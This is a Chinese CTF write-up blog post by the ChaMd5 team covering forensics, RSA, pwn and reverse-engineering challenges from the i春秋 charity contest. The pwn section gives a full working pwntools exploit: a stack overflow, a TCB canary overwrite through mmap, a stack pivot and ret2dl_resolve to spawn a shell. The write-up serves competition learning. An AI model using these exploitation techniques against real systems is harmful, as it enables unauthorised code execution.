差异基因p为0_【i春秋杯网络安全联赛WriteUp】为逆行者加油

209e408a11058b3eee7ee59c6d250e72.png

投稿:Venom

配图:sixwhale

继ChaMd5使用京东公益捐款后ChaMd5安全团队的Venom战队联合i春秋公益赛继续捐款,恭喜此次团队pcat、line担任专家,下面针对团队出的五道题进WP分享。

1665e257ad1dfb4c922f445d8e066a52.png

Misc

磁盘套娃 | Adolph

解题思路
通过题目描述了解题目“一个熟悉的格式却是一个神秘的磁盘,磁盘内隐藏着某种不为人知的秘密”,解压题目压缩包发现是一个vhd格式文件,于是对该磁盘文件进行分析,在此使用winhex对磁盘进行分析(其他分析工具均可,因习惯而异)。加载磁盘后发现分区格式为NTFS,分析分区内容,发现删除文件dekart_priviate_disk加密容器软件夹和名为easy_disk的加密磁盘,于是导出待分析磁盘文件,并尝试使用priviate disk软件尝试加载该加密磁盘文件

debc2fb89e81888780f19bcc4a016748.png

d3d99b4c2603e9320310801992fd6af2.png

通过使用dekpart private disk加载磁盘发现该容器需要密码进行加载,接下来的思路转化为寻找容器的解密密码,题目描述提示格式,于是对ntfs分区开展分析,在对文件系统进行痕迹分析时,文件系统的元数据文件是关键,经过对元数据分析发现该文件系统存在$UsnJrnl的记录,$J文件记录了文件系统的操作记录,导出$J文件进行痕迹分析。在取证分析的实战中,通过$J文件还原行为人的操作行为记录是非常关键,即使文件系统的文件记录项被删除依然可以证明文件的曾经存在,此题中的MFT表项中已经彻底擦除了密码文件。关于$J文件解析的字节位关系如下表:

4db3deda348e5273ac14fb479d58b1da.png
通过对$j文件的分析可以发现该ntfs文件系统除了上述提及的文件外还曾经操作过文件名9o7@Xs78I0.txt的文件,使用该文件名作为密码成功解密加密容器

96c84343af1521475404178ab39c50e5.png

81d6aee4e03611555ab63eda93170fc6.png
解密加密容器后会提示文件系统格式存在问题,系统提示格式化,于是检查该容器磁盘。检查发现该分区内的引导扇区存在异常,即0扇区偏移16进制数的00-10被擦除写0,通过DBR残余记录可判断为FAT分区。

1e21bed10f8712c494694d5089aa6cca.png
依据FAT分区的磁盘结构,手动恢复被擦除的DBR引导记录的字节,FAT分区的00-0A偏移位置是跳转指令和固定的厂商标志和os版本EB 58 90 4D 53 44 4F 53 35 2E 30为MSDOS5.0的ASCII代码,FAT分区通常存放两个FAT表,FAT2备份FAT1表示簇占用情况,winhex中可以使用数据查看器辅助填写恢复数据。

84e9a6dba586b6a5ca758f8233c891e5.png

除了手工填写外快捷的DBR恢复:使用private disk加密重启创建一个大小30M的加密分区按默认配置格式化后将其DBR的引导记录直接复制到被损坏擦除的题目容器),保存修改后重新连接容器,使用winhex进行磁盘快照更新后即可打开正常磁盘,可获取根目录下flag。考虑到手动恢复磁盘DBR的复杂度于是将flag文件以txt形式进行存放,将考察的重点放置到$J文件的分析中,该题的flag在解开加密容器后也可通过字节搜索关键词的方式获取。

6212f9350781c4a4055fc2ecf864eb46.png

Crypto

simple_math | Shimmer

解题思路
通过阅读代码可知,题目使用RSA加密了flag,并且只给出了参数E,及其对应的密文ciphertext。由于没有给出N,所以易知需要从gen_p和gen_q函数中解得加密所使用的参数P和_Q。
查看gen_p函数,可获得如下信息:

dbd59c51032e158785ec3e2395125dbd.png可知,要得到_P,必须先推出N1和N2。其中A为素数,并且A,C已知。由题目中的求阶乘容易联想到Wilson定理:

即,当且仅当p为素数时有 (p-1)!=-1 (mod p)。
N1的推导过程如下:
51337e5786ecd3b66b8964ceb20337b0.pngN2的推导过程如下:

7cb642bc16b2f9f2e8d4886b440be91c.png

此步参考 2019 Roar CTF BabyRSA
链接:https://www.cnblogs.com/wayne-tao/p/11723494.html
由此可得RSA得参数之一_P。
查看gen_q函数,可知也是一个RSA,已知其中的参数n,ed,并且_Q=nextPrime(2020p-2019*q),所以要得到_Q,就要先对n进行分解得到p和q。可以使用如下方法对n进行分解:
null

18d8fffc89f7835d9bac496c12b91f77.png

代码如下:

k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
此步参考 2019 神盾杯 easyRSA
链接: http://soreatu.com/ctf/writeups/Writeup%20for%20easyRSA%20in%202019%E7%A5%9E%E7%9B%BE%E6%9D%AF.html
由此可得RSA得参数之一_Q。
至此,已得RSA参数E,P,_Q
import sympy
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes

A=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928699539
C=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928632158
n= 641840878174982655326850312496169636378455577115347500957057267640600977102280072913438154955029114771051709087809927454279064916870408880749853740239718248642560401110078626938726443568692572803490357236810832674229312155746539894173791356805341671586393273678865952155249500341932905426105470392415353610397045835698808163501258474762363712287163328526252399904787053101799058499120606154737990300449437479282435046167055009692493712202386368849122605419812883126887833074654434641607372149411668612504466768080306339558792828063148576123738980431264608446603326193849200810553196864085478463086993422774817059853949748247896512719994166090254440232652496451104455075071560127966288341488523110118075041150491577844082366096788215046025436488554795141938458493258409150407281215473354273599246314944034941237527510171900646139987019380766717951556307441871365874564881565374638513827494801194029940895912077179028101890662760455651864691251980479400416227456995236912364846811949410786643764713673564022863007331006828562341241738846980912184411395632790556038655767763976115640962139547171909279164623846000835333857705944581269631616760405747716520672142021728850694537269211784578408601266217928819863736428173736140161826738813
ed= 534634151124279413732259524933495479098721499860333007593590357554306358799023578194908726136928354695079848972480649724456088941906723794709312712191247045425297126517594344899286925836796680956816064609089090503579894117057252969264121691849003333804607728687046319857910698511132867345476426833313854575436202087209472834349551593011689755514138197238955298350562839877955001729313715223006875793667570760703418551390980455326976431990257513342820095246552412287184147009729875110446230949824384166464485840066906862476445054049749692262294734099027915906839812656254886862402603631321290156949953461665657610306709058617222159635281067103921037090824796905267992798715820128476225045484793453227511548884919811033318570386881936137713666127231317606909893143214808788822341878386939352957962886113639632559883992777992209148001401767753558732492213499792179169681405789041595765504039612494711563472885565786566625643290565526077483663342991770220261962082523632475094223960703649343802215392245948547397211539801128773253646005228684994277460378625729491412757387260415740823541731482803143732545953736392746596116269262129834845033889284145602522548909021358829175225208236295389454408336909318816490014229410357900614079212880259236238467905

def fast_gen_N2(A,C):
    result=1
    for i in range(A-2,C,-1):
        result=(result*i)%A
    return invert(result,A)
N1=1
N2=fast_gen_N2(A,C)
seed1=2019*N1+2020*N2

k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
if(p>q):
    p,q=q,p
seed2=2020*p-2019*q
if seed2<0:
    seed2=(-1)*seed2

_P=sympy.nextprime(seed1)
_Q=sympy.nextprime(seed2)
_N=_P*_Q
_E=65537
_D=invert(_E,(_P-1)*(_Q-1))
_C=183288709028723976658160448336519698700398459340947322152692016513169599029222514445118399653225032641541100129985101994918772329046946295962244096646038598600865786096896989355554955041779941259413115779915405468832327321189345505283184153652727885422718280179025251186380977491993641792341259672566237363655347151343020354489781675539571788934759950303331075098574759853670802171054084321131703969504258663714257549258635956184694450566287845760701724862418909255930636298209146539578608879672058346906370035692078859844402832322545368347681121504910035471822137023626638953992968941166744998545450662434365836169688461834868137046528403401190395486501502489519341656581057940794141420456022102711505759074332049547354944074402136763186087462931985682293826106916791831371302
_M=pow(_C,_D,_N)
print(long_to_bytes(_M))

Pwn

BFnote | b0ldfrev

解题思路
1.检查题目保护,发现开了CANARY与NX

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.发现存在栈溢出与堆地址任意偏移写任意值 可利用

unsigned int __cdecl main()
{
  signed int i; // [esp+4h] [ebp-54h]
  int size; // [esp+8h] [ebp-50h]
  char *v3; // [esp+Ch] [ebp-4Ch]
  int v4; // [esp+14h] [ebp-44h]
  char description; // [esp+1Ah] [ebp-3Eh]
  unsigned int v6; // [esp+4Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  menu();
  fwrite("nGive your description : ", 1u, 0x19u, stdout);
  memset(&description, 0, 0x32u);
  myread(0, &description, 1536);   //栈溢出
  fwrite("Give your postscript : ", 1u, 0x17u, stdout);
  memset(&postscript, 0, 0x64u);
  myread(0, &postscript, 1536);
  fwrite("nGive your notebook size : ", 1u, 0x1Bu, stdout);
  size = get_long();
  v3 = (char *)malloc(size);
  memset(v3, 0, size);
  fwrite("Give your title size : ", 1u, 0x17u, stdout);
  v4 = get_long();
  for ( i = v4; size - 32 < i; i = get_long() )   //重复输入
    fwrite("invalid ! please re-enter :n", 1u, 0x1Cu, stdout);
  fwrite("nGive your title : ", 1u, 0x13u, stdout);
  myread(0, v3, i);
  fwrite("Give your note : ", 1u, 0x11u, stdout);
  read(0, &v3[v4 + 16], size - v4 - 16);  // 逻辑漏洞,错误的使用了重复输入之前的值,基于堆地址任意地址写
  fwrite("nnow , check your notebook :n", 1u, 0x1Du, stdout);
  fprintf(stdout, "title : %s", v3);
  fprintf(stdout, "note : %s", &v3[v4 + 16]);
  return __readgsdword(0x14u) ^ v6;

3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。

typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t; 

4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。

►   0x8048772    mov    eax, dword ptr gs:[0x14] 
EAX  0x5ba0b500
pwndbg> search -p 0x5ba0b500
                0xf7e00714 0x5ba0b500
[stack]         0xffffcecc 0x5ba0b500
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7e00000 0xf7e01000 rw-p     1000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]
可以看到canary在0xf7e00714这个地址刚好在libc-2.23.so代码段上方。5.当调用malloc申请内存时,若size大于等 mmap分配阈值(默认值 128KB)0x200000时,malloc会调用mmap申请内存,且申请的内存可以观察到同样在libc上方。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7bff000 0xf7e01000 rw-p   202000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]

6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据,申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。

7.EXP

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#[author]: b0ldfrev
p= process('./BFnote')
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
dl_resolve_data="x80x21x00x00x00x00x00x00x00x00x00x00x12x00x00x00x37x66x66x5ax6dx59x50x47x60xa1x04x08x07x25x02x00x73x79x73x74x65x6dx00"
dl_resolve_call="x50x84x04x08x70x20x00x00"
canary=0xdeadbe00
postscript=0x804A060
#correct=0x804a428
payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)
ru("description : ")
sd(payload1)
payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/shx00"+p64(0)+dl_resolve_data
ru("postscript : ")
sd(payload2)
ru("notebook size : ")
sl(str(0x200000))
ru("title size : ")
sl(str(0x20170c-0x10))
ru("please re-enter :n")
sl(str(100))
ru("your title : ")
sl("2222")
ru("your note : ")
sd(p32(canary))
p.interactive()
8.程序我忘了设置sleep,所以还存在极小概率的canary爆破,比赛时间那么长,就3个字节嘛 ~ 手动狗头,如果各位大师傅还有非预期 欢迎讨论~

Reverse

42 | miaonei

解题思路
1.根据string找到main函数所在

ec125aadbd89dd734ea616a70808c13b.png
Hook过程的函数

1c3e21cc8b74ada104307e8d229c2ce5.png
2.Hook之后的MessageBoxA为该函数

c7374d045ac4f1f88bdc4df55682ddc4.png

根据另一个字符串寻找flag的主要操作位置

3.该函数是flag的处理函数

132504e8e9a4144f8980c231c9554a72.png

检查汇编指令内容

193a518bd05137081b114c17796f136d.png

找到flag处理主要函数,其中进行了简单的异或运算

3d0084771f0c535934072200b5f87345.png
a、b、c三个变量得到,算出为42及正常。
a=-80538473123155825
b=80435312222756674
c=12602435109592424
lift="3nder5tandf10@t"

num1=a^-80538738812075974
num2=b^80435758145817515
num3=c^12602123297335631

print(hex(num1),num2,num3)
array=[]
str_flag=''

for i in range(5):
    array.append(num3&0xff)
    num3=num3>>8
for i in range(5):
    array.append(num2&0xff)
    num2=num2>>8
for i in range(5):
    array.append(num1&0xff)
    num1=num1>>8
array.reverse()
print(array)
new=0
for i in range(len(array)):
    str_flag+=hex(ord(lift[i])^array[i])[2:]
str_flag=list(str_flag)
str_flag.insert(7,'-')
str_flag.insert(12,'-')
str_flag.insert(17,'-')
str_flag.insert(22,'-')
str_flag="".join(str_flag)
print("flag{"+str_flag+"}")
Code2 | PureT

解题思路
1.通过字符串定位法定位到关键点,分析代码逻辑

445053336e6aa58af104128a4eacb0c9.png

2.根据算法特征识别出关键算法是 XXTEA

1a263709450b2eb41309c073e3aad30e.png

3.往前推发现 XXTEA 的密钥是另一种算法的结果

bac949b71148ac63c1109a4627719b07.png
95c266638bbac0de767e223ca72268b2.png

9ee87533ac9859b62152ee1c04c61c54.png

4.根据算法特征识别出第一层算法是 arithmetic coding

47f7a5c07cd114e76b3ae6f19b9fca54.png

5.已知编码表和压缩结果的情况下,编写解压脚本 exp.cpp
压缩结果从 base64 里解码得到

844516cb1a4e928a76856bfedfb5d0c1.png

编码表字符概率

43c5aa3a2b8c6aa243fd6405d3cb0ac2.png

编码表字符集合

5a322c5c302569101324a52fa44760b1.png

6.获得key,运行程序输入key,解密 XXTEA 跑出 flag

32dcd4646ca13d6583b9966a885565e7.png
ceb339734ea2493be97631ac132f0ba7.png

招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

f3486b3d9bac9b567764d46837068cbd.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值